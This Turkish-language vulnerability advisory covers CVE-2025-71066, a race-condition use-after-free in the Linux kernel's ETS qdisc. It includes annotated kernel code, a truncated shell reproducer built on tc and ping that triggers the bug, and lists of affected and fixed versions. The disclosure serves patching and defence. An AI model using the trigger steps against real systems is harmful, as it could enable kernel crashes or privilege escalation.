CVE-2025-71066

Yüksek

Açıklama

Linux kernel içerisinde aşağıdaki güvenlik açığı giderilmiştir: net/sched: ets: ets_qdisc_change fonksiyonunda silme işleminden önce sınıf her zaman aktif listeden kaldırılmalıdır [email protected] şunları belirtmektedir: Güvenlik açığı, `ets_qdisc_dequeue` ve `ets_qdisc_change` arasında bir yarış durumudur (race condition). Bu durum, `struct Qdisc` nesnesi üzerinde serbest bırakıldıktan sonra kullanım (UAF) hatasına yol açar. Saldırganın bu hatayı tetiklemek için yeni kullanıcı ve ağ ad alanı (network namespace) oluşturma yetkisine sahip olması gerekir. Analizin sonundaki ek yorumlarıma bakınız. Analiz: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) bu kilit, .change işleyicisinin (`ets_qdisc_change`), // .dequeue işleyicisiyle (`ets_qdisc_dequeue`) yarışmasını önler sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) sınıf q->active listesine eklenir list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) qdisc kilidi açılır, artık .change işleyicisinin geri kalanıyla // paralel olarak dequeue çağrılabilir sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) sınıfımızın qdisc referans sayısını azaltıyoruz ve onu serbest bırakıyoruz qdisc_put(q->classes[i].qdisc); // (5) Eğer (4) ve (5) arasında .dequeue çağırırsak, ciddi bir UAF oluşur ve RIP kontrol edilebilir q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Yorum: Bu durum, bazı sınıfların qdisc değerleri NULL olarak atanmış olsa bile aktif listede kalmaya devam etmeleri nedeniyle oluşmaktadır. Bu commit, ilişkili qdisc silinmeden ve serbest bırakılmadan önce sınıfı her zaman aktif listeden kaldırarak bu sorunu düzeltmektedir. Hata Tetikleme Adımları ([email protected] tarafından gönderilen metnin kırpılmış versiyonu) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated--- ```

ÖnemYüksek
CVSS7.8
İstismar olasılığı—
ÜrünLinux
Yayın13 Oca 2026
İlk görülme13 Oca 2026
Zayıflık türüCWE-362Yarış durumu

Nasıl düzeltilir

Güncelleyin
  • Linux Linux062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9, 9987cda315c08f63a02423fa2f9a1f6602c861a0, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.248, 5.15.198 ya da sonraki bir sürüm

Etkilenen ürünler

ÜrünEtkilenen sürümlerDüzeltildiği sürüm
Linux Linuxae2659d2c670252759ee9c823c4e039c0e05a6f2 ≤ v < 062d5d544e564473450d72e6af83077c2b2ff7c3, e25bdbc7e951ae5728fee1f4c09485df113d013c ≤ v < c7f6e7cc14df72b997258216e99d897d2df0dbbd, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < a75d617a4ef08682f5cfaadc01d5141c87e019c9, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 9987cda315c08f63a02423fa2f9a1f6602c861a0, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, de6d25924c2a8c2988c6a385990cafbe742061bf ≤ v < ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.83 ≤ v < 5.10.248, 5.15.6 ≤ v < 5.15.198, 5.16062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9, 9987cda315c08f63a02423fa2f9a1f6602c861a0, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c, ce052b9402e461a9aded599f5b47e76bc727f7de, 5.10.248, 5.15.198

Sürümünüzü kontrol edin

Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.

Intelligence 360 paketinde

Attack Surface Management

Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.